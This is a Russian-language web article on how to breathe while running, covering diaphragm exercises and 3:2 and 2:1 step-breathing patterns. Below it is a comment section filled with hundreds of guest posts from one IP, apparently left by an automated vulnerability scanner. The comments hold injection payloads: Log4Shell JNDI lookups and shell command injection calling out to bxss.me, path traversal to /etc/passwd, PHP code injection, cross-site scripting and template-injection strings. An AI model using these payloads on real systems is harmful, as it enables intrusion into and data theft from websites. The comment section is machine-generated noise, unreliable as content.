O °C
57,9990 руб.
55,9278 руб.
Статьи
Новости Все
Блог Все
15.04.2015
Как правильно дышать во время бега?
Как правильно дышать во время бега?
Фото:

Правильное эффективное дыхание во время бега очень важно. Многие новички ощущают, что им не хватает кислорода, забиваются мышцы. А всё потому, что они неправильно дышат. 

Но эта проблема свойственна не только начинающим бегунам. Встречаются и бегуны с многолетним стажем, которые так же дышат неправильно и в результате распределяют свои силы неэффективно.


Вред неправильного дыхания

Неправильное дыхание является причиной не только лишних затрат энергии. Исследования Д. Брамбла и Д. Кэрриера доказали, что неправильное чередование вдохов и выдохов может стать причиной травмы. 

Это связанно с тем, что самый сильный удар тело бегуна принимает на себя, когда начало выдоха совпадает с касанием ноги земли. 

Если бегун будет всегда совершать выдох "на правую ногу", то вся правая сторона тела будет подвержена травме.




Правильное дыхание

Правильное ритмичное дыхание позволит распределить нагрузку на тело равномерно и избежать травм. Ритмическое дыхание поможет правильно составить модель дыхания и найти источники дополнительной энергии.

Чтобы дышать правильно и эффективно, нужно научиться дышать с помощью диафрагмы. Большинство бегунов акцентируют дыхание на груди, но грудная клетка не позволяет вдыхать большое количество кислорода. Если же к дыханию подключить диафрагму, то объем вдыхаемого кислорода в разы увеличится. Все знают, чем больше кислорода человек вдыхает, тем больше получат его мышцы.

Поначалу дыхание с помощью диафрагмы будет непривычным. Нужно научиться дышать таким способом постоянно.

Упражнение для дыхания животом:

Лягте на спину и постарайтесь, чтобы ваша грудная клетка не двигалась.

Сделать вдох с помощью диафрагмы, сфокусировав внимание на животе.

Сделайте выдох, опустив живот.

Старайтесь дышать одновременно через нос и рот.


Модели дыхания

Большинство бегунов во время бега вдыхают и выдыхают на два шага. Такая модель дыхания называется 2:2. Другие дышат по модели 3:3, то есть вдыхают и выдыхают на три шага. Но при обеих этих моделях выдох всегда совпадает с приземлением на одну и ту же ногу.

Нужно составлять модель дыхания так, чтобы выдох всегда чередовался то на одну, то на другую ногу. Желательно, чтобы больше ударов было на вдохе, чем на выдохе.

Хорошо подойдет модель 3:2 – на три шага вдох и на двух, выдох.

Для освоения этой модели подойдет такое упражнение:

Лягте на спину, согнув колени, чтобы стопы полностью стояли на полу.

Контролируйте правильное дыхание с помощью диафрагмы.

Сделайте на три счёта вдох и на два - выдох.

Приподнимайте то одну, то другую ступню, имитируя ходьбу, соблюдая модель дыхания 3:2.

Продолжите так дышать, чтобы вы смогли привыкнуть, и дыхание стало автоматическим.

Попробуйте встать и попробовать эту модель при ходьбе, а затем во время бега.

Часто такая модель дыхания может оказаться неудобной. Особенно когда вы совершаете ускорение или забегаете в гору. Дыхание учащается, сбивается ритм. В таких случаях нужно перейти на модель дыхания 2:1, совершая вдох на два шага и выдох на один. 

А если чувствуете, что и этой частоты вам не хватает, то попробуйте модель 2:1:1:1 – на два шага вдох, выдох на один, вдох на один, выдох на один. 

Вы можете попробовать и свои модели дыхания, но старайтесь соблюдать основные принципы дыхания во время бега.

▼ 0 ▲
Комментариев:
479
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:02
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:19
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:19
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:19
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:20
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:20
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:20
1DDEHGIseIO
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:20
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:21
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:22
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:22
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:22
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:22
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:22
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:23
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:23
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:23
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:23
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:23
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:23
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:23
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:23
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:23
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:23
HQkH5kpA
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:23
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:23
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:23
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:23
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:23
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:23
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:23
response.write(9234420*9491265)
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:24
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:24
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:24
${j${::-n}di:dns${::-:}//hitkdlfogibnu22ac2${::-.}bxss.me}zzzz
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:24
'+response.write(9234420*9491265)+'
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:24

?????'">
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:24
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:24
"+response.write(9234420*9491265)+"
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:24
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:24
${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j.009247.1618-194186.1618.43091${::-.}1${::-.}bxss.me}}
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:24
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:24
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:24
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:24
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
1&n926642=v961167
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
${9999500+9999894}
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
'.gethostbyname(lc('hitju'.'unnefsvt7a8ee.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(82).chr(120).chr(72).'
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
".gethostbyname(lc("hityy"."ugqcblns2a271.bxss.me."))."A".chr(67).chr(hex("58")).chr(119).chr(88).chr(115).chr(70)."
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:25
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:26
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:26
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:26
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:26
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:26
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:26
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:26
'"()
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:26
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:26
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:26
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:26
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:26
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:26
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:26
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:26
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:26
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:26
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:26
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:26
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:26
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:26
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:26
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:26
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:26
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:26
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:26
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:26
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:26
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:26
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:26
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:26
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
HttP://bxss.me/t/xss.html?%00
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
bxss.me/t/xss.html?%00
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
)
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
!(()&&!|*|*|
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
^(#$!@#$)(()))******
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
12345'"\'\");|]*{
?''????
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
echo dozwxf$()\ jnbsef\nz^xyu||a #' &echo dozwxf$()\ jnbsef\nz^xyu||a #|" &echo dozwxf$()\ jnbsef\nz^xyu||a #
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
"+"A".concat(70-3).concat(22*4).concat(98).concat(84).concat(111).concat(86)+(require"socket" Socket.gethostbyname("hitlo"+"ileuufqkbe59f.bxss.me.")[3].to_s)+"
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:27
&echo mvvzel$()\ dvmvus\nz^xyu||a #' &echo mvvzel$()\ dvmvus\nz^xyu||a #|" &echo mvvzel$()\ dvmvus\nz^xyu||a #
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
|echo bkplld$()\ mnmbvt\nz^xyu||a #' |echo bkplld$()\ mnmbvt\nz^xyu||a #|" |echo bkplld$()\ mnmbvt\nz^xyu||a #
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
'+'A'.concat(70-3).concat(22*4).concat(107).concat(77).concat(107).concat(65)+(require'socket' Socket.gethostbyname('hityg'+'sqgpgyab03a74.bxss.me.')[3].to_s)+'
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
(nslookup hitvfuqzwfjqx6b787.bxss.me||perl -e "gethostbyname('hitvfuqzwfjqx6b787.bxss.me')")
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
index.php
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
$(nslookup hitutrvgfzuxz9f4c6.bxss.me||perl -e "gethostbyname('hitutrvgfzuxz9f4c6.bxss.me')")
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
index.php
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
&(nslookup hitqrgdrlaldoa4096.bxss.me||perl -e "gethostbyname('hitqrgdrlaldoa4096.bxss.me')")&'\"`0&(nslookup hitqrgdrlaldoa4096.bxss.me||perl -e "gethostbyname('hitqrgdrlaldoa4096.bxss.me')")&`'
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
index.php/.
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
|(nslookup hitbqyiqtoyud5f862.bxss.me||perl -e "gethostbyname('hitbqyiqtoyud5f862.bxss.me')")
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
`(nslookup hitvnpkuesdkj3f3e9.bxss.me||perl -e "gethostbyname('hitvnpkuesdkj3f3e9.bxss.me')")`
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
;(nslookup hitzcxkipwmmy75f1d.bxss.me||perl -e "gethostbyname('hitzcxkipwmmy75f1d.bxss.me')")|(nslookup hitzcxkipwmmy75f1d.bxss.me||perl -e "gethostbyname('hitzcxkipwmmy75f1d.bxss.me')")&(nslookup hitzcxkipwmmy75f1d.bxss.me||perl -e "gethostbyname('hitzcxkipwmmy75f1d.bxss.me')")
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
/xfs.bxss.me
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
944470
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
http://xfs.bxss.me
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:28
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:29
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:29
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:29
'"
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:29
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:29
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:29
//xfs.bxss.me
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:29
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:29
/\xfs.bxss.me
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:29
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:29
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:29
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:29
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:29
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:29
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:29
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:29
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:29
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:29
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:29
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:29
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:29
1some_inexistent_file_with_long_name.jpg
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:29
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:29
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:29
Http://bxss.me/t/fit.txt
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:29
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:29
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:29
http://bxss.me/t/fit.txt?.jpg
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:30
bxss.me
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:30
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:30
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:30
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:30
../../../../../../../../../../../../../../etc/passwd
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:30
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:30
../../../../../../../../../../../../../../windows/win.ini
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:30
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:30
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:30
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:30
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:30
../1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:30
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:30
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:30
./1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:30
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:30
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:30
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:30
';print(md5(31337));$a='
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:30
";print(md5(31337));$a="
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:30
${@print(md5(31337))}
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:31
${@print(md5(31337))}\
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:31
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:31
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:31
'.print(md5(31337)).'
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:31
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:32
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:32
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:32
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:32
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:32
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:32
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:32
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:32
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:32
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:32
1'"()&%5bwu(9096)
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:33
'"()&%5bwu(9017)
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:33
19145339
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:33
acu10980<s1﹥s2ʺs3ʹuca10980
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:33
acux8114??z1??z2a?bcxuca8114
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:33
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:33
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:33
1}}"}}'}}1%>"%>'%>
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:33
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:33
acx{{98991*97996}}xca
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:33
acx[[${98991*97996}]]xca
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:33
acx__${98991*97996}__::.x
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:33
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:34
15bwu(9858)
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:34
1TI0PB[!+!]
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:34
15bwu(9540)
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:34
15bwu(9980)
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:34
15bwu(9986)
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:34
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:34
15bwu(9838)
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:34
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:34
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:34
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:34
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:34
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:34
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:34
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:34
%31%3C%53%63%52%69%50%74%20%3E%35%62%77%75%289712%29%3C%2F%73%43%72%69%70%54%3E
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:34
1\u003CScRiPt\5bwu(9231)\u003C/sCripT\u003E
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:34
1<ScRiPt>5bwu(9180)</sCripT>
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:34
?
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:35
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:35
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:35
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:35
1}body{acu:Expre/**/SSion(5bwu(9957))}
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:35
1CYUoK
5bwu(9815)
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:35
1YQGE8[!+!]
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:35
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:35
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:35
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:35
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:35
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:36
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:36
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:37
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:51
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:53
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:53
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:53
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:53
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:53
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:54
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:54
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:54
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:54
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:54
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:54
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:54
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:54
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:55
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:55
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:55
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:55
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:55
1
